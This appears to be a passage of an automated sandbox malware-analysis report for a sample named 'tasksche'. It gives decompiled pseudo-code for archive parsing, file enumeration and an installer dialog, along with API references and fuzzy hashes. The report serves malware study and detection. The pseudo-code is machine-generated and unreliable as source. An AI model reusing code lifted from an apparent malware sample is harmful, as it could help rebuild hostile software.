									 *(_t360 + 0xb057) = _t246 >> 0x00000004 & 0x00000001;
									 *(_t360 + 0xb05b) = _t246 >> 0x00000003 & 0x00000001;
									 *((char*)(_t360 + 0xb058)) = 0;
									 *((char*)(_t360 + 0xb05a)) = 1;
									__eflags = _t246 & 0x00000002;
									if((_t246 & 0x00000002) == 0) {
										_t198 = _t360 + 0xb078;
										 *_t198 =  *(_t360 + 0xb078) & 0x00000000;
										__eflags =  *_t198;
									} else {
										 *(_t360 + 0xb078) = E0040B60D(_t460);
									}
									__eflags =  *(_t360 + 0xb055);
									if( *(_t360 + 0xb055) == 0) {
										L77:
										_t247 = 0;
										__eflags = 0;
										goto L78;
									} else {
										__eflags =  *(_t360 + 0xb078);
										if( *(_t360 + 0xb078) != 0) {
											goto L77;
										}
										_t247 = 1;
										L78:
										 *((char*)(_t360 + 0xb059)) = _t247;
										__eflags =  *(_t482 + 0x18) |  *(_t482 + 0x1c);
										if(( *(_t482 + 0x18) |  *(_t482 + 0x1c)) != 0) {
											_push(_t360 + 0x6570);
											_push( *(_t482 + 0x18));
											_push(_t482 + 0x28);
											E0040272E(_t360, _t460);
										}
										L80:
										__eflags =  *((intOrPtr*)(_t360 + 0xb04c)) -  *((intOrPtr*)(_t360 + 0xb044));
										if(__eflags > 0) {
											L83:
											__eflags =  *(_t482 + 0x28);
											_t481 =  *((intOrPtr*)(_t482 + 0x3c));
											if(__eflags != 0) {
												_push( *(_t482 + 0x28));
												E0041A506(_t360, _t466, _t481, __eflags);
											}
											_t225 = _t481;
											goto L91;
										}
										if(__eflags < 0) {
											goto L86;
										}
										__eflags =  *((intOrPtr*)(_t360 + 0xb048)) -  *((intOrPtr*)(_t360 + 0xb040));
										if( *((intOrPtr*)(_t360 + 0xb048)) <=  *((intOrPtr*)(_t360 + 0xb040))) {
											goto L86;
										}
										goto L83;
									}
								}
								if(__eflags <= 0) {
									goto L80;
								}
								__eflags = _t243 - 3;
								if(_t243 <= 3) {
									__eflags = _t243 - 2;
									_t258 = _t360 + 0x65e8;
									if(_t243 != 2) {
										_t258 = _t360 + 0x8928;
									}
									_t470 = _t258;
									 *(_t482 + 0x4c) = _t258;
									E00409B44(_t470, 0);
									_t400 = 5;
									_t261 = memcpy(_t470, _t479, _t400 << 2);
									__eflags =  *((intOrPtr*)(_t360 + 0x6550)) - 2;
									_t479 =  *(_t482 + 0x4c);
									 *(_t479 + 0x1048) = _t261;
									 *((char*)(_t482 + 0x53)) =  *((intOrPtr*)(_t360 + 0x6550)) == 2;
									 *((char*)(_t479 + 0x10e9)) = 1;
									 *(_t479 + 0x104c) =  *(_t482 + 0x24);
									 *(_t479 + 0x1084) = E0040B60D(_t460);
									 *(_t479 + 0x1050) = E0040B60D(_t460);
									_t267 =  *(_t479 + 0x1084) >> 0x00000003 & 0x00000001;
									__eflags = _t267;
									 *(_t479 + 0x1054) = _t460;
									 *(_t479 + 0x108a) = _t267;
									if(_t267 != 0) {
										 *(_t479 + 0x1050) = 0x7fffffff;
										 *(_t479 + 0x1054) = 0x7fffffff;
									}
									_t268 =  *(_t479 + 0x104c);
									_t404 =  *(_t479 + 0x1054);
									__eflags = _t268 - _t404;
									_t461 =  *(_t479 + 0x1048);
									_t473 =  *(_t479 + 0x1050);
									if(__eflags < 0) {
										L48:
										_t461 = _t473;
										_t268 = _t404;
										goto L49;
									} else {
										if(__eflags > 0) {
											L49:
											 *(_t479 + 0x1058) = _t461;
											 *(_t479 + 0x105c) = _t268;
											_t269 = E0040B60D(_t461);
											__eflags =  *(_t479 + 0x1084) & 0x00000002;
											 *((intOrPtr*)(_t479 + 0x1c)) = _t269;
											if(( *(_t479 + 0x1084) & 0x00000002) != 0) {
												E00411357(_t479 + 0x1030, _t461, E0040B5AF(_t482 + 0x28), 0);
											}
											_t270 = _t479 + 0x1060;
											 *_t270 =  *_t270 & 0x00000000;
											__eflags =  *(_t479 + 0x1084) & 0x00000004;
											if(( *(_t479 + 0x1084) & 0x00000004) != 0) {
												 *_t270 = 2;
												 *((intOrPtr*)(_t479 + 0x1064)) = E0040B5AF(_t482 + 0x28);
											}
											 *(_t479 + 0x10f0) =  *(_t479 + 0x10f0) & 0x00000000;
											_t271 = E0040B60D(_t461);
											 *(_t482 + 0x4c) = _t271;
											 *(_t479 + 0x1a) = _t271 >> 0x00000007 & 0x00000007;
											 *(_t479 + 0x19) = _t271 & 0x0000003f;
											 *((char*)(_t479 + 0x18)) = E0040B60D(_t461);
											_t274 = E0040B60D(_t461);
											_t462 =  *((intOrPtr*)(_t479 + 0x18));
											_t474 = _t274;
											_t412 = _t479 + 0x10ec;
											 *(_t479 + 0x10e8) =  *(_t360 + 0x6554) >> 0x00000006 & 0x00000001;
											 *_t412 = 2;
											__eflags = _t462 - 1;
											if(_t462 != 1) {
												__eflags = _t462;
												if(_t462 == 0) {
													 *_t412 =  *_t412 & 0x00000000;
													__eflags =  *_t412;
												}
											} else {
												 *_t412 = 1;
											}
											_t413 =  *(_t479 + 8);
											 *(_t479 + 0x1088) = _t413 >> 0x00000003 & 0x00000001;
											__eflags =  *((char*)(_t482 + 0x53));
											 *(_t479 + 0x1089) = _t413 >> 0x00000004 & 0x00000001;
											 *(_t479 + 0x10ea) = _t413 >> 0x00000005 & 0x00000001;
											if( *((char*)(_t482 + 0x53)) == 0) {
												L60:
												_t416 = 0;
												__eflags = 0;
												goto L61;
											} else {
												__eflags =  *(_t482 + 0x4c) & 0x00000040;
												if(( *(_t482 + 0x4c) & 0x00000040) == 0) {
													goto L60;
												}
												_t416 = 1;
												L61:
												 *((char*)(_t479 + 0x10e0)) = _t416;
												_t464 =  *(_t479 + 0x1084) & 0x00000001;
												asm("sbb ecx, ecx");
												asm("sbb eax, eax");
												 *(_t479 + 0x10e4) =  !( ~(_t464 & 0x000000ff)) & 0x00020000 << ( *(_t482 + 0x4c) >> 0x0000000a & 0x0000000f);
												 *(_t479 + 0x10e1) = _t464;
												 *(_t479 + 0x108c) =  ~( *(_t479 + 0x108b) & 0x000000ff) & 0x00000005;
												__eflags = _t474 - 0x1fff;
												if(_t474 >= 0x1fff) {
													_t474 = 0x1fff;
												}
												E0040B696(_t482 + 0x28, _t482 - 0x207c, _t474);
												 *((char*)(_t482 + _t474 - 0x207c)) = 0;
												_t466 = _t479 + 0x20;
												E00411CD1(_t482 + 0x28, _t482 - 0x207c, _t479 + 0x20, 0x800);
												__eflags =  *(_t482 + 0x18) |  *(_t482 + 0x1c);
												if(( *(_t482 + 0x18) |  *(_t482 + 0x1c)) != 0) {
													_push(_t479);
													_push( *(_t482 + 0x18));
													_push(_t482 + 0x28);
													E0040272E(_t360, _t464);
												}
												__eflags =  *((char*)(_t482 + 0x53));
												if( *((char*)(_t482 + 0x53)) == 0) {
													_t295 = E0041AA21(_t466, "CMT");
													__eflags = _t295;
													if(_t295 == 0) {
														 *((char*)(_t360 + 0xb056)) = 1;
													}
												} else {
													E00401A7E(_t360, _t479);
												}
												__eflags =  *((char*)(_t482 + 0x4b));
												if( *((char*)(_t482 + 0x4b)) != 0) {
													E0040639F(0x1a, _t360 + 0x1e, _t466);
												}
												goto L80;
											}
										}
										__eflags = _t461 - _t473;
										if(_t461 > _t473) {
											goto L49;
										}
										goto L48;
									}
								}
								__eflags = _t243 - 4;
								if(_t243 == 4) {
									_t434 = 5;
									memcpy(_t360 + 0x65b0, _t479, 0 << 2);
									_t466 = _t479 + _t434 + _t434;
									_t306 = E0040B60D(_t460);
									__eflags = _t306;
									if(_t306 <= 0) {
										 *(_t360 + 0x65c4) = E0040B60D(_t460) & 0x00000001;
										_t310 = E0040B562(_t482 + 0x28) & 0x000000ff;
										 *(_t360 + 0x65c8) = _t310;
										__eflags = _t310 - 0x18;
										if(_t310 > 0x18) {
											goto L36;
										}
										E0040B696(_t482 + 0x28, _t360 + 0x65cc, 0x10);
										__eflags =  *(_t360 + 0x65c4);
										if( *(_t360 + 0x65c4) != 0) {
											_t479 = _t360 + 0x65dc;
											E0040B696(_t482 + 0x28, _t360 + 0x65dc, 8);
											E0040B696(_t482 + 0x28, _t482 + 0x4c, 4);
											E004106AE(_t482 - 0x7c);
											E004109B0(_t482 - 0x7c, _t360 + 0x65dc, 8);
											E00410A29(_t482 + 0x28, _t460, __eflags, _t482 - 0x7c, _t482);
											_t327 = E0041AC04(_t482 + 0x4c, _t482, 4);
											asm("sbb al, al");
											_t329 =  ~_t327 + 1;
											__eflags = _t329;
											 *(_t360 + 0x65c4) = _t329;
										}
										 *((char*)(_t360 + 0xb05c)) = 1;
										goto L80;
									}
									L36:
									E00401CA3(_t360, _t360 + 0x1e);
									goto L87;
								}
								__eflags = _t243 - 5;
								if(_t243 == 5) {
									_t443 = _t243;
									memcpy(_t360 + 0x88e8, _t479, 0 << 2);
									_t466 = _t479 + _t443 + _t443;
									 *(_t360 + 0x8904) = E0040B60D(_t460) & 0x00000001;
									 *((char*)(_t360 + 0x8907)) = 0;
									 *((char*)(_t360 + 0x8905)) = 0;
									 *((char*)(_t360 + 0x8906)) = 0;
								}
								goto L80;
							}
							 *(_t482 + 0x18) = E0040B60D(_t460);
							_t335 =  *(_t360 + 0x6558);
							 *(_t482 + 0x1c) = _t460;
							__eflags = _t460;
							if(__eflags < 0) {
								goto L27;
							}
							if(__eflags > 0) {
								L26:
								E00401C80(_t360);
								goto L6;
							}
							__eflags =  *(_t482 + 0x18) - _t335;
							if(__eflags < 0) {
								goto L27;
							}
							goto L26;
						}
						E00401C80(_t360);
						 *((char*)(_t360 + 0xb064)) = 1;
						E004062BA(0x4335ac, 3);
						__eflags =  *((char*)(_t482 + 0x53));
						if( *((char*)(_t482 + 0x53)) == 0) {
							goto L22;
						} else {
							E0040639F(4, _t360 + 0x1e, _t360 + 0x1e);
							 *((char*)(_t360 + 0xb065)) = 1;
							goto L87;
						}
					} else {
						E00401C37(_t360, _t460, __eflags);
						goto L87;
					}
				}
				_t460 =  *(__ecx + 0xb044);
				_t343 =  *((intOrPtr*)(__ecx + 0xb060)) + 8;
				asm("adc ecx, edi");
				_t494 = _t460;
				if(_t494 < 0 || _t494 <= 0 &&  *((intOrPtr*)(__ecx + 0xb040)) <= _t343) {
					goto L7;
				} else {
					 *((char*)(_t482 + 0x53)) = 1;
					E00401BBB(_t360);
					_t346 =  *((intOrPtr*)( *_t360 + 8))(_t482 + 0x10, 0x10);
					_t496 = _t346 - 0x10;
					if(_t346 == 0x10) {
						_t479 = _t360 + 0x1024;
						E00405FE7(_t479, _t460, _t466, 5,  *((intOrPtr*)(_t360 + 0x6524)) + 0x4024, _t360 + 0x65cc, _t482 + 0x10,  *(_t360 + 0x65c8), _t466, _t482 + 0x20);
						__eflags =  *(_t360 + 0x65c4);
						if( *(_t360 + 0x65c4) == 0) {
							L11:
							 *(_t482 + 0x44) = _t479;
							goto L12;
						}
						_t355 = E0041AC04(_t482 + 0x20, _t360 + 0x65dc, 8);
						_t485 = _t485 + 0xc;
						__eflags = _t355;
						if(_t355 == 0) {
							goto L11;
						} else {
							E00406376(6, _t360 + 0x1e);
							 *((char*)(_t360 + 0xb065)) = 1;
							E004062BA(0x4335ac, 0xb);
							goto L6;
						}
					}
					goto L5;
				}
			}

0x00402f2d
0x00402f35
0x00402f3f
0x00402f45
0x00402f46
0x00402f4d
0x00402f52
0x00402f5b
0x00402f5e
0x00402faf
0x00402faf
0x0040302f
0x00403034
0x00403039
0x0040303c
0x00402fa0
0x00402fa2
0x00402fa7
0x00402fa7
0x00403680
0x00403680
0x00403682
0x00403685
0x0040368a
0x0040368b
0x0040368d
0x00403693
0x0040369e
0x0040369e
0x00403045
0x0040304c
0x0040305c
0x00403066
0x00403068
0x0040306f
0x00403071
0x00403675
0x00403677
0x0040367c
0x0040367c
0x00000000
0x0040367c
0x00403077
0x00403079
0x00000000
0x00000000
0x0040307f
0x00403081
0x00403081
0x00403084
0x00403084
0x00403087
0x00403089
0x00000000
0x00000000
0x0040308f
0x00403092
0x00000000
0x00000000
0x0040309c
0x004030a1
0x004030a4
0x004030bd
0x004030c8
0x004030ce
0x004030d3
0x004030de
0x004030ea
0x004030f3
0x004030f5
0x004030fb
0x004030ff
0x00403103
0x0040313d
0x0040313d
0x0040313f
0x00403146
0x00403149
0x0040314c
0x0040317b
0x0040317b
0x00403182
0x00403185
0x00403188
0x00403192
0x00403195
0x00403195
0x004031a0
0x004031ad
0x004031b6
0x004031b9
0x004031bf
0x004031c5
0x004031cb
0x004031ce
0x0040358d
0x00403595
0x0040359c
0x0040359d
0x0040359d
0x004035a2
0x004035ac
0x004035ba
0x004035c8
0x004035d6
0x004035dc
0x004035e3
0x004035ea
0x004035ec
0x004035fe
0x004035fe
0x004035fe
0x004035ee
0x004035f6
0x004035f6
0x00403605
0x0040360c
0x0040361c
0x0040361c
0x0040361c
0x00000000
0x0040360e
0x0040360e
0x00403615
0x00000000
0x00000000
0x00403619
0x0040361e
0x0040361e
0x00403627
0x0040362a
0x00403632
0x00403633
0x00403639
0x0040363c
0x0040363c
0x00403641
0x00403647
0x0040364d
0x0040365f
0x0040365f
0x00403663
0x00403666
0x00403668
0x0040366b
0x00403670
0x00403671
0x00000000
0x00403671
0x0040364f
0x00000000
0x00000000
0x00403657
0x0040365d
0x00000000
0x00000000
0x00000000
0x0040365d
0x0040360c
0x004031d4
0x00000000
0x00000000
0x004031da
0x004031dd
0x004032f7
0x004032fa
0x00403300
0x00403302
0x00403302
0x00403308
0x0040330e
0x00403311
0x0040331b
0x0040331c
0x0040331e
0x00403325
0x00403328
0x00403334
0x00403338
0x0040333f
0x0040334d
0x00403358
0x00403367
0x00403367
0x00403369
0x0040336f
0x00403375
0x0040337c
0x00403382
0x00403382
0x00403388
0x0040338e
0x00403394
0x00403396
0x0040339c
0x004033a2
0x004033aa
0x004033aa
0x004033ac
0x00000000
0x004033a4
0x004033a4
0x004033ae
0x004033b1
0x004033b7
0x004033bd
0x004033c2
0x004033c9
0x004033cc
0x004033df
0x004033df
0x004033e4
0x004033ea
0x004033ed
0x004033f4
0x004033f9
0x00403404
0x00403404
0x0040340a
0x00403414
0x00403421
0x00403424
0x0040342c
0x00403437
0x0040343a
0x0040343f
0x00403442
0x0040344f
0x00403455
0x0040345b
0x00403461
0x00403464
0x0040346e
0x00403470
0x00403472
0x00403472
0x00403472
0x00403466
0x00403466
0x00403466
0x00403475
0x0040347f
0x00403492
0x00403496
0x0040349c
0x004034a2
0x004034af
0x004034af
0x004034af
0x00000000
0x004034a4
0x004034a4
0x004034a8
0x00000000
0x00000000
0x004034ac
0x004034b1
0x004034b7
0x004034c6
0x004034d5
0x004034e4
0x004034e6
0x004034f4
0x004034fa
0x00403500
0x00403502
0x00403504
0x00403504
0x00403511
0x00403516
0x00403523
0x0040352e
0x00403536
0x00403539
0x0040353b
0x0040353c
0x00403542
0x00403545
0x00403545
0x0040354a
0x0040354e
0x00403560
0x00403567
0x00403569
0x0040356b
0x0040356b
0x00403550
0x00403553
0x00403553
0x00403572
0x00403576
0x00403583
0x00403583
0x00000000
0x00403576
0x004034a2
0x004033a6
0x004033a8
0x00000000
0x00000000
0x00000000
0x004033a8
0x004033a2
0x004031e3
0x004031e6
0x00403227
0x0040322e
0x0040322e
0x00403233
0x00403238
0x0040323a
0x00403259
0x00403264
0x00403267
0x0040326d
0x00403270
0x00000000
0x00000000
0x0040327e
0x00403283
0x0040328a
0x0040328e
0x00403298
0x004032a6
0x004032af
0x004032bb
0x004032c8
0x004032d7
0x004032e1
0x004032e3
0x004032e3
0x004032e5
0x004032e5
0x004032eb
0x00000000
0x004032eb
0x0040323c
0x00403242
0x00000000
0x00403242
0x004031e8
0x004031eb
0x004031f2
0x004031f9
0x004031f9
0x00403205
0x0040320b
0x00403212
0x00403219
0x00403219
0x00000000
0x004031eb
0x00403158
0x0040315b
0x00403161
0x00403164
0x00403166
0x00000000
0x00000000
0x00403168
0x0040316f
0x00403171
0x00000000
0x00403171
0x0040316a
0x0040316d
0x00000000
0x00000000
0x00000000
0x0040316d
0x00403107
0x00403113
0x0040311a
0x0040311f
0x00403123
0x00000000
0x00403125
0x0040312c
0x00403131
0x00000000
0x00403131
0x004030a6
0x004030a8
0x00000000
0x004030a8
0x004030a4
0x00402f66
0x00402f6e
0x00402f71
0x00402f73
0x00402f75
0x00000000
0x00402f83
0x00402f85
0x00402f89
0x00402f98
0x00402f9b
0x00402f9e
0x00402fd9
0x00402fe2
0x00402fe7
0x00402fee
0x0040302c
0x0040302c
0x00000000
0x0040302c
0x00402ffd
0x00403002
0x00403005
0x00403007
0x00000000
0x00403009
0x0040300f
0x0040301b
0x00403022
0x00000000
0x00403022
0x00403007
0x00000000
0x00402f9e

APIs

__EH_prolog.LIBCMT ref: 00402F35
_memcmp.LIBCMT ref: 00402FFD
_memcmp.LIBCMT ref: 004032D7

Strings

CMT, xrefs: 0040355A
@, xrefs: 004034A4

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _memcmp$H_prolog
String ID: @$CMT
API String ID: 212800410-3935043585
Opcode ID: f7efa0f1f901984cc3855dbe14d8362dcde98928de1018f3c2431534fcf72b9a
Instruction ID: 4535b6ba2d5654eb70152741eafeedd3820f65e0183003bc7b62017ff8f1088e
Opcode Fuzzy Hash: f7efa0f1f901984cc3855dbe14d8362dcde98928de1018f3c2431534fcf72b9a
Instruction Fuzzy Hash: 252215715006849FDB24DF24C891BDA3BE5AF14308F08057FED4AEB2C6DB799588CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00409476 Relevance: 7.6, APIs: 5, Instructions: 111
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E00409476(intOrPtr __edx, signed int _a4, WCHAR* _a8, intOrPtr _a12) {
				intOrPtr _v572;
				intOrPtr _v580;
				intOrPtr _v588;
				struct _WIN32_FIND_DATAW _v596;
				short _v4692;
				signed int _t51;
				signed int _t57;
				signed int _t71;
				void* _t73;
				long _t76;
				char _t77;
				void* _t81;
				intOrPtr _t87;
				intOrPtr _t90;

				_t87 = __edx;
				E0041AAF0(0x1250);
				_t90 = _a12;
				_push( &_v596);
				if(_a4 != 0xffffffff) {
					_t51 = FindNextFileW(_a4, ??);
					__eflags = _t51;
					if(_t51 == 0) {
						_a4 = _a4 | 0xffffffff;
						_t71 = GetLastError();
						__eflags = _t71 - 0x12;
						_t16 = _t71 != 0x12;
						__eflags = _t16;
						 *((char*)(_t90 + 0x1044)) = _t71 & 0xffffff00 | _t16;
					}
					__eflags = _a4 - 0xffffffff;
					if(_a4 != 0xffffffff) {
						goto L13;
					}
				} else {
					_t73 = FindFirstFileW(_a8, ??); // executed
					_a4 = _t73;
					if(_t73 != 0xffffffff) {
						L13:
						E00410B9C(_t90, _a8, 0x800);
						_push(0x800);
						E0040A745(__eflags, _t90,  &(_v596.cFileName));
						_t57 = E0041ABD0(_v596.nFileSizeHigh, 0, 0, 1) + _v596.nFileSizeLow;
						__eflags = _t57;
						 *(_t90 + 0x1000) = _t57;
						 *(_t90 + 0x1008) = _v596.dwFileAttributes;
						 *((intOrPtr*)(_t90 + 0x1028)) = _v596.ftCreationTime;
						 *((intOrPtr*)(_t90 + 0x102c)) = _v588;
						 *((intOrPtr*)(_t90 + 0x1030)) = _v596.ftLastAccessTime;
						 *((intOrPtr*)(_t90 + 0x1034)) = _v580;
						 *((intOrPtr*)(_t90 + 0x1038)) = _v596.ftLastWriteTime;
						 *((intOrPtr*)(_t90 + 0x103c)) = _v572;
						asm("adc edx, edi");
						 *((intOrPtr*)(_t90 + 0x1004)) = _t87;
						E00411333(_t90 + 0x1010,  &(_v596.ftLastWriteTime));
						E00411333(_t90 + 0x1018,  &(_v596.ftCreationTime));
						E00411333(_t90 + 0x1020,  &(_v596.ftLastAccessTime));
					} else {
						if(E0040A3DC(_a8,  &_v4692, 0x800) == 0) {
							L4:
							_t76 = GetLastError();
							if(_t76 == 2 || _t76 == 3 || _t76 == 0x12) {
								_t77 = 0;
								__eflags = 0;
							} else {
								_t77 = 1;
							}
							 *((char*)(_t90 + 0x1044)) = _t77;
						} else {
							_t81 = FindFirstFileW( &_v4692,  &_v596);
							_a4 = _t81;
							if(_t81 != 0xffffffff) {
								goto L13;
							} else {
								goto L4;
							}
						}
					}
				}
				 *(_t90 + 0x1040) =  *(_t90 + 0x1040) & 0x00000000;
				return _a4;
			}

0x00409476
0x0040947e
0x00409489
0x00409498
0x00409499
0x00409508
0x0040950e
0x00409510
0x00409512
0x00409516
0x0040951c
0x0040951f
0x0040951f
0x00409522
0x00409522
0x00409528
0x0040952c
0x00000000
0x00000000
0x0040949b
0x004094a4
0x004094a6
0x004094ac
0x00409532
0x00409537
0x0040953c
0x00409545
0x00409563
0x00409563
0x00409565
0x00409571
0x0040957d
0x00409589
0x00409595
0x004095a1
0x004095ad
0x004095b9
0x004095c5
0x004095ce
0x004095d4
0x004095e6
0x004095f8
0x004094b2
0x004094c4
0x004094de
0x004094de
0x004094e7
0x004094f8
0x004094f8
0x004094f3
0x004094f5
0x004094f5
0x004094fa
0x004094c6
0x004094d4
0x004094d6
0x004094dc
0x00000000
0x00000000
0x00000000
0x00000000
0x004094dc
0x004094c4
0x004094ac
0x004095fd
0x0040960b

APIs

FindFirstFileW.KERNELBASE(?,?,00000800,?,?,?,004096E5,000000FF,?,?,?,?,00408411,?,?,00000000), ref: 004094A4
FindFirstFileW.KERNEL32(?,?,?,?,00000800,?,004096E5,000000FF,?,?,?,?,00408411,?,?,00000000), ref: 004094D4
GetLastError.KERNEL32(?,?,00000800,?,004096E5,000000FF,?,?,?,?,00408411,?,?,00000000,?,00000800), ref: 004094DE
FindNextFileW.KERNEL32(000000FF,?,00000800,?,?,?,004096E5,000000FF,?,?,?,?,00408411,?,?,00000000), ref: 00409508
GetLastError.KERNEL32(?,004096E5,000000FF,?,?,?,?,00408411,?,?,00000000,?,00000800), ref: 00409516

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next
String ID:
API String ID: 869497890-0
Opcode ID: 2a733cbadd2ca7cd29a11b90f53c863ddd5810a24544a1ec061ee6039bd7df5a
Instruction ID: 852f22f8762d0aaf1b59ecd7198268998001e7cc0733578d9edc4610c3c70bd0
Opcode Fuzzy Hash: 2a733cbadd2ca7cd29a11b90f53c863ddd5810a24544a1ec061ee6039bd7df5a
Instruction Fuzzy Hash: 2E414071500648ABCB21DF29CC84ADA77F8AF48350F10466AF9AEE2291D774AEC1DB14

Uniqueness

Uniqueness Score: -1.00%

Function 0040F58D Relevance: 112.7, APIs: 55, Strings: 9, Instructions: 691
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E0040F58D(void* __ecx, void* __edx, void* __eflags, void* __fp0) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t112;
				void* _t114;
				long _t115;
				long _t116;
				struct HWND__* _t118;
				WCHAR* _t123;
				void* _t127;
				int _t128;
				void* _t145;
				void* _t148;
				WCHAR* _t154;
				signed int _t161;
				struct HWND__* _t164;
				void* _t175;
				void* _t178;
				void* _t180;
				struct HWND__* _t187;
				intOrPtr _t195;
				WCHAR* _t196;
				long _t201;
				void* _t223;
				void* _t225;
				void* _t235;
				void* _t247;
				long _t249;
				long _t250;
				long _t251;
				signed int _t256;
				int _t260;
				int _t262;
				void* _t267;
				void* _t271;
				intOrPtr _t289;
				intOrPtr _t290;
				int _t303;
				long _t308;
				void* _t312;
				struct HWND__* _t316;
				void* _t318;
				void* _t320;
				void* _t325;

				_t325 = __fp0;
				_t299 = __edx;
				_t283 = __ecx;
				E0041A4DC(E004297DB, _t318);
				E0041AAF0(0x9c94);
				_t316 =  *(_t318 + 8);
				_t112 = E004060EE(__edx, _t316,  *(_t318 + 0xc),  *(_t318 + 0x10),  *(_t318 + 0x14), L"STARTDLG", 0, 0); // executed
				if(_t112 == 0) {
					_t114 =  *(_t318 + 0xc) - 0x110;
					__eflags = _t114;
					if(_t114 == 0) {
						_t115 =  *0x43981c;
						 *0x441840 = _t316;
						 *0x441844 = _t316;
						__eflags = _t115;
						if(_t115 != 0) {
							SendMessageW(_t316, 0x80, 1, _t115); // executed
						}
						_t116 =  *0x439818;
						__eflags = _t116;
						if(__eflags != 0) {
							SendDlgItemMessageW(_t316, 0x6c, 0x172, 0, _t116); // executed
						}
						E0040DBC1(_t299, __eflags, _t325, _t316);
						_t118 = GetDlgItem(_t316, 0x68);
						 *(_t318 + 0x14) = _t118;
						SendMessageW(_t118, 0x435, 0, 0x400000);
						E00419C9B(_t318 - 0x1164, 0x800);
						 *(_t318 + 0x10) = GetDlgItem(_t316, 0x66);
						_t123 = 0x44187a;
						__eflags =  *0x44187a;
						if( *0x44187a == 0) {
							_t123 = _t318 - 0x1164;
						}
						SetWindowTextW( *(_t318 + 0x10), _t123);
						E00419CB2( *(_t318 + 0x10)); // executed
						_push(0x441858);
						_push(0x44184c);
						_push(0x439820);
						_push(_t316);
						 *0x441848 = 0; // executed
						E0040E75F(_t283, _t299, __eflags); // executed
						__eflags =  *0x441858;
						if( *0x441858 > 0) {
							_push(7);
							_push( *0x44184c);
							_push(_t316);
							E0040E857(_t316);
						}
						__eflags =  *0x44185c;
						if( *0x44185c != 0) {
							_t303 = 1;
							__eflags = 1;
						} else {
							SetDlgItemTextW(_t316, 0x6b, E0040C3BF(0xbf));
							_t154 = E0040C3BF(0xbe);
							_t303 = 1;
							SetDlgItemTextW(_t316, 1, _t154);
						}
						__eflags =  *0x441858;
						if( *0x441858 <= 0) {
							L103:
							__eflags =  *0x441848;
							if( *0x441848 != 0) {
								L114:
								__eflags =  *0x441874 - 2;
								if( *0x441874 == 2) {
									EnableWindow( *(_t318 + 0x10), 0);
								}
								__eflags =  *0x441870;
								if( *0x441870 != 0) {
									E004060AB(_t316, 0x67, 0);
									E004060AB(_t316, 0x66, 0);
								}
								_t127 =  *0x441874;
								__eflags = _t127;
								if(_t127 != 0) {
									__eflags =  *0x44183c;
									if( *0x44183c == 0) {
										_push(0);
										_push(_t303);
										_push(0x111);
										_push(_t316);
										__eflags = _t127 - _t303;
										if(_t127 != _t303) {
											PostMessageW();
										} else {
											SendMessageW(); // executed
										}
									}
								}
								__eflags =  *0x441832;
								if( *0x441832 != 0) {
									SetDlgItemTextW(_t316, _t303, E0040C3BF(0x90));
								}
								goto L125;
							}
							__eflags =  *0x441850;
							if( *0x441850 != 0) {
								goto L114;
							}
							__eflags =  *0x441874;
							if( *0x441874 != 0) {
								goto L114;
							}
							__eflags = 0;
							 *((short*)(_t318 - 0x9688)) = 0;
							 *(_t318 + 0xc) = 0xaa;
							do {
								__eflags =  *(_t318 + 0xc) - 0xaa;
								if( *(_t318 + 0xc) != 0xaa) {
									L109:
									__eflags =  *(_t318 + 0xc) - 0xab;
									if( *(_t318 + 0xc) != 0xab) {
										L111:
										E0041A7C9(_t318 - 0x9688, " ");
										E0041A7C9(_t318 - 0x9688, E0040C3BF( *(_t318 + 0xc)));
										goto L112;
									}
									__eflags =  *0x44185c;
									if( *0x44185c != 0) {
										goto L112;
									}
									goto L111;
								}
								__eflags =  *0x44185c;
								if( *0x44185c == 0) {
									goto L112;
								}
								goto L109;
								L112:
								 *(_t318 + 0xc) =  &( *(_t318 + 0xc)->i);
								__eflags =  *(_t318 + 0xc) - 0xb0;
							} while (__eflags <= 0);
							_t289 =  *0x438814; // 0x19fe80
							E00419A9D(_t289, __eflags,  *0x4335a4,  *(_t318 + 0x14), _t318 - 0x9688, 0, 0);
							_t303 = 1;
							__eflags = 1;
							goto L114;
						} else {
							_push(0);
							_push( *0x44184c);
							_push(_t316); // executed
							E0040E857(_t316); // executed
							_t145 =  *0x441850;
							__eflags = _t145;
							if(_t145 != 0) {
								__eflags =  *0x441874;
								if(__eflags == 0) {
									_t290 =  *0x438814; // 0x19fe80
									E00419A9D(_t290, __eflags,  *0x4335a4,  *(_t318 + 0x14), _t145, 0, 0);
									_push( *0x441850);
									E0041A506(0, _t303, _t316, __eflags);
								}
							}
							__eflags =  *0x441874 - _t303;
							if( *0x441874 == _t303) {
								L102:
								_push(_t303);
								_push( *0x44184c);
								_push(_t316);
								E0040E857(_t316);
								goto L103;
							} else {
								SetForegroundWindow(_t316);
